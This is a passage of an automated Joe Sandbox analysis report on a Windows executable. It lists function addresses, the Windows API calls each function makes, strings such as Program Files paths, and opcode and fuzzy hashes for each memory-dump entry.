Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 855e2e178366579e8cdbc9f044a0346376c594dce53ca60ac40061c8de66a150
Instruction ID: e3b373b60118a844676bb749001e6832c3b26a50706decb61b3ae2e0e224b701
Opcode Fuzzy Hash: 855e2e178366579e8cdbc9f044a0346376c594dce53ca60ac40061c8de66a150
Instruction Fuzzy Hash: 40F02871A00308BBCB01EF759D4259EB7E8EB4E311B2045B7FC04E3642E6B94E04859C

Function 0042323C Relevance: 3.0, APIs: 2, Instructions: 35COMMON

Download Yara Rule

APIs

LoadCursorA.USER32(00000000,00007F00), ref: 00423249
LoadCursorA.USER32(00000000,00000000), ref: 00423273

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CursorLoad
String ID:
API String ID: 3238433803-0
Opcode ID: 0c9a104e89a33193f60416200903d3bd70bbd31149720632682593485f60625b
Instruction ID: 5e34cf6406f075c2c63d733b1f02ef4b9a88184ee1572dc0f3c8875cc615d59b
Opcode Fuzzy Hash: 0c9a104e89a33193f60416200903d3bd70bbd31149720632682593485f60625b
Instruction Fuzzy Hash: 9EF0A711B04254AADA109E7E6CC0D6B72A8DF82735B61037BFA3EC72D1C62E1D414569

Function 0042E394 Relevance: 3.0, APIs: 2, Instructions: 33libraryCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00008000), ref: 0042E39E
LoadLibraryA.KERNEL32(00000000,00000000,0042E3E8,?,00000000,0042E406,?,00008000), ref: 0042E3CD

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ErrorLibraryLoadMode
String ID:
API String ID: 2987862817-0
Opcode ID: 4bb5710dc3172506f3a82e57bec548632d1945d06b3d92e94bd16d63dfaa8550
Instruction ID: 14c2566281f292fbf4bc3f3871eddb8f7eb4f11f4d1149329263d7d1c8790498
Opcode Fuzzy Hash: 4bb5710dc3172506f3a82e57bec548632d1945d06b3d92e94bd16d63dfaa8550
Instruction Fuzzy Hash: 02F08970B147447FDB119F779CA241BBBECDB49B1175249B6F800A3591E53C4910C928

Function 0047C9DF Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32(00499D40,00008000,00000000,?), ref: 0047C9EF
CoTaskMemFree.OLE32(?,0047CA32), ref: 0047CA25

Strings

cmd.exe, xrefs: 0047CA50
Common Files, xrefs: 0047C8F9
Failed to get path of 64-bit Common Files directory, xrefs: 0047C960
COMMAND.COM, xrefs: 0047CA71
CommonFilesDir, xrefs: 0047C8C2, 0047C93E
ProgramFilesDir, xrefs: 0047C888, 0047C90F
Failed to get path of 64-bit Program Files directory, xrefs: 0047C931
\Program Files, xrefs: 0047C8AF
SystemDrive, xrefs: 0047C827

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: FolderFreeKnownPathTask
String ID: COMMAND.COM$Common Files$CommonFilesDir$Failed to get path of 64-bit Common Files directory$Failed to get path of 64-bit Program Files directory$ProgramFilesDir$SystemDrive$\Program Files$cmd.exe
API String ID: 969438705-544719455
Opcode ID: 6f62c5d526fa3e52070c971c4d90ca7efe6ec5503e4c2dd16381b90e1fafe213
Instruction ID: 0fdb8721f79df2bee4e437b17213045c774cf20a9a88c38e08792e16eca79eb1
Opcode Fuzzy Hash: 6f62c5d526fa3e52070c971c4d90ca7efe6ec5503e4c2dd16381b90e1fafe213
Instruction Fuzzy Hash: DAE09230340704BFEB11DB61DDA2F6977A8EB88B00BA1847BF404E2681E67CAD00CA5C

Function 004508F8 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,?,00000002,?,?,00470299,?,00000000), ref: 0045090E
GetLastError.KERNEL32(?,00000000,?,00000002,?,?,00470299,?,00000000), ref: 00450916

Part of subcall function 004506B4: GetLastError.KERNEL32(004504D0,00450776,?,00000000,?,00497F80,00000001,00000000,00000002,00000000,004980E1,?,?,00000005,00000000,00498115), ref: 004506B7

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: ec46a7bc9e5a7a34518fa7989fb6988307d7ef9dfce9dbcd61575ad1106d4b51
Instruction ID: 32d43412562f4d6ab64aa8be608e77008e370c57458e4df53f7444e76f76d0cb
Opcode Fuzzy Hash: ec46a7bc9e5a7a34518fa7989fb6988307d7ef9dfce9dbcd61575ad1106d4b51
Instruction Fuzzy Hash: 0EE012E93042015BF700EA6599C1B2F22DCDB44315F00446ABD44CA28BE678CC048B29

Function 004014E4 Relevance: 2.5, APIs: 2, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,004017ED), ref: 00401513
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,004017ED), ref: 0040153A

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 94577317c2bcd4d3a70d22c0b2f2fc78c72c60cff144ef5375d29febf27e2799
Instruction ID: 119661fe7174a079321c86e78af40791ac039b5eb8373b45468023a5ba433726
Opcode Fuzzy Hash: 94577317c2bcd4d3a70d22c0b2f2fc78c72c60cff144ef5375d29febf27e2799
Instruction Fuzzy Hash: F7F08272A0063067EB60596A4C81B5359859BC5B94F154076FD09FF3E9D6B58C0142A9

Function 004085DC Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetSystemDefaultLCID.KERNEL32(00000000,00408712), ref: 004085FB

Part of subcall function 00406DEC: LoadStringA.USER32(00400000,0000FF87,?,00000400), ref: 00406E09

Part of subcall function 00408568: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0049B4C0,00000001,?,00408633,?,00000000,00408712), ref: 00408586

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: DefaultInfoLoadLocaleStringSystem
String ID:
API String ID: 1658689577-0
Opcode ID: 92125e52594e5bc8ee6d97e09480d95589045c4468e862feaba19903f63d3f1d
Instruction ID: 9026c6f0acc6bf601755118861b832b1e3c4c92574a9a05948c89544872af2a3
Opcode Fuzzy Hash: 92125e52594e5bc8ee6d97e09480d95589045c4468e862feaba19903f63d3f1d
Instruction Fuzzy Hash: 47314E35E00109ABCB00EB55CC819EEB779EF84314F558577E815BB286EB38AA018B98

Function 0041FB9C Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

SetScrollInfo.USER32(00000000,?,?,00000001), ref: 0041FC39

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: InfoScroll
String ID:
API String ID: 629608716-0
Opcode ID: a0ce2aaa01497ac04468ea6ac7a83421c49688bcbeeff2d3e991700215f3b25f
Instruction ID: 6365c2cd079840e4170b7c9ce409c3d873e807bce8729d2e10e5c00059922083
Opcode Fuzzy Hash: a0ce2aaa01497ac04468ea6ac7a83421c49688bcbeeff2d3e991700215f3b25f
Instruction Fuzzy Hash: D8214FB1608746AFC351DF3984407A6BBE4BB48344F14893EE498C3741E778E99ACBD6

Function 0046C4A8 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0041EEA4: GetCurrentThreadId.KERNEL32 ref: 0041EEF3
Part of subcall function 0041EEA4: EnumThreadWindows.USER32(00000000,0041EE54,00000000), ref: 0041EEF9

SHPathPrepareForWriteA.SHELL32(00000000,00000000,00000000,00000000,00000000,0046C506,?,00000000,?,?,0046C718,?,00000000,0046C78C), ref: 0046C4EA

Part of subcall function 0041EF58: IsWindow.USER32(?), ref: 0041EF66
Part of subcall function 0041EF58: EnableWindow.USER32(?,00000001), ref: 0041EF75

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ThreadWindow$CurrentEnableEnumPathPrepareWindowsWrite
String ID:
API String ID: 3319771486-0
Opcode ID: ca2b32cf36fd6d1bfb4db848016c2ffe178ba4032e1ec94fcd42fcf02c3c5d51
Instruction ID: 2cbcebf7f6bf29dc36283f7fbbf9f5266ce5ce35ab0e612daed41d822df73df9
Opcode Fuzzy Hash: ca2b32cf36fd6d1bfb4db848016c2ffe178ba4032e1ec94fcd42fcf02c3c5d51
Instruction Fuzzy Hash: 8CF0B470344300BFEB159F62AC96B2576D8D744714FA1043BF409C6590E5796844891E

Function 00441394 Relevance: 1.5, APIs: 1, Instructions: 36fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE ref: 004413AB

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d61e7892e696cd19dbec5936e1f60c0eb1c4f94c101f5f53d8ed807e2bb541d1
Instruction ID: 51b66c86ab1fb2ed9abdb0db83839a26410808368eb32e0cb4295e2ee82716ff
Opcode Fuzzy Hash: d61e7892e696cd19dbec5936e1f60c0eb1c4f94c101f5f53d8ed807e2bb541d1
Instruction Fuzzy Hash: 09F04970608109EBBB1CCF58D0618AF7BA0EB48300F2080AFE907C7BA0D634AA80D658

Function 00416550 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(?,?,?,?,?,?,?,?,?,00000000,00400000,?), ref: 00416585

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: b152e844846ae8a52721441d180559fdf16f7956a15d86c9ff4cf0dcda8b9698
Instruction ID: 158b8484bb218b41c698b3aa21f26e2dd86497bc01e640ef524e7c8f4c0ee3c6
Opcode Fuzzy Hash: b152e844846ae8a52721441d180559fdf16f7956a15d86c9ff4cf0dcda8b9698
Instruction Fuzzy Hash: 4BF019B2200510AFDB84DE9CD9C0F9773ECEB0C210B0481A6FA08CB21AD220EC108BB0

Function 004149B4 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?), ref: 004149EF

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 9e73aedc2ede48524128b4fba7c94cddd86b5e43f4b9cee2e76a3e9f018a4363
Instruction ID: 59ac3629b8f45f7a6bca1b57e2bf54285868c68ba6336e642f1ef9b7bb8d2b05
Opcode Fuzzy Hash: 9e73aedc2ede48524128b4fba7c94cddd86b5e43f4b9cee2e76a3e9f018a4363
Instruction Fuzzy Hash: B2F0DA762042019FC740DF6CC8C488A77E5FF89255B5546A9F989CB356C731EC54CB91

Function 004507C4 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 00450804

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ce99838f7be0491c6923214398908b2fd93372403a84c7b432a549debe4dc153
Instruction ID: 52eb814c7c241dc182afdc6c3e242d4e4c9a4e6d94000e289351c80ae23ff87c
Opcode Fuzzy Hash: ce99838f7be0491c6923214398908b2fd93372403a84c7b432a549debe4dc153
Instruction Fuzzy Hash: 53E012B53541483EE780EEAD6C42F9777DC971A714F008037B998D7341D461DD158BA8

Function 0042CCCC Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00000000,0042CD14,?,00000001,?,?,00000000,?,0042CD66,00000000,00452A25,00000000,00452A46,?,00000000), ref: 0042CCF7

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2e3447488e8940f063bbcfc4a9008e9bc81ad59ac090e4e62a8f5aa92ecca264
Instruction ID: d3c11148bbbe1678040d416a6bc301cfea82702c80b798926358c5e84281cc0e
Opcode Fuzzy Hash: 2e3447488e8940f063bbcfc4a9008e9bc81ad59ac090e4e62a8f5aa92ecca264
Instruction Fuzzy Hash: 80E065B1304304BFD701EB66EC92A5EBAACDB49754BA14876B50097592D5B86E008468

Function 0042E8C8 Relevance: 1.5, APIs: 1, Instructions: 28windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00453273,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E8E7

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: 07eb917982e44065cc90d67cadef310e262c4caec6bcfbb1197f6d5f5d2cfc19
Instruction ID: fbc307da5c1359fbfbc351051067b699ae1438aedf6613c80dda169529e76e7e
Opcode Fuzzy Hash: 07eb917982e44065cc90d67cadef310e262c4caec6bcfbb1197f6d5f5d2cfc19
Instruction Fuzzy Hash: BCE0206278431116F2353416AC47B77150E43C0708F944027BB90DF3D3D6AF9945D25E

Function 004062E8 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000000,0042367C,00000000,94CA0000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C0C), ref: 00406311

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: ff94722aa4050723ad3f6c96c0112c9f8192a5aa4540eb1f1ae13447e7542d04
Instruction ID: 53e57476791a39574122dfc8a3f58f2f78c4a621b5a82e38d1c80b15216a1e52
Opcode Fuzzy Hash: ff94722aa4050723ad3f6c96c0112c9f8192a5aa4540eb1f1ae13447e7542d04
Instruction Fuzzy Hash: EEE0FEB2214209BBDB00DE8ADCC1DABB7ACFB4C654F808105BB1C972428275AC608B71

Function 0042DDE4 Relevance: 1.5, APIs: 1, Instructions: 26registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 0042DE10

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 296f4a6b1841180fcb6525c1425398a2afe0618770c3240f8adf4a5c8222c494
Instruction ID: 68673b5cf84413dff1d7ecec16939cb2303f89f305828e6cd22260af4b89741b
Opcode Fuzzy Hash: 296f4a6b1841180fcb6525c1425398a2afe0618770c3240f8adf4a5c8222c494
Instruction Fuzzy Hash: EDE07EB2610119AF9B40DE8CDC81EEB37ADAB1D350F404016FA08E7200C2B4EC519BB4

Function 00454BF8 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

FindClose.KERNEL32(00000000,000000FF,00470ABC,00000000,004718D2,?,00000000,0047191D,?,00000000,00471A56,?,00000000,?,00000000), ref: 00454C0E

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: ac301419a6d0fb17fa373ecfd028f21bc1cd0f096799c322b405f417487ab63f
Instruction ID: 5c2dbd3a099336849a47a332199978da45cb785deb8a29a76394180ab3bc5383
Opcode Fuzzy Hash: ac301419a6d0fb17fa373ecfd028f21bc1cd0f096799c322b405f417487ab63f
Instruction Fuzzy Hash: A1E09BB09097004BC715DF39858031A76D19FC9325F05C96AEC99CF3D7E77D84454617

Function 0041467C Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00495B3A,?,00495B5C,?,?,00000000,00495B3A,?,?), ref: 0041469B

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 6e76042b9040d81ea616cca6ecacd77bc76811df147480a1eef497ac36b7c045
Instruction ID: 3a83c41fa5c3d176b15f2666d2672a78f9af76d4247255e2ff0bda4df6ea0631
Opcode Fuzzy Hash: 6e76042b9040d81ea616cca6ecacd77bc76811df147480a1eef497ac36b7c045
Instruction Fuzzy Hash: 59E012723001199F8250CE5EDC88C57FBEDEBC966130983A6F508C7306DA31EC44C7A0

Function 00406F10 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00406F24

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
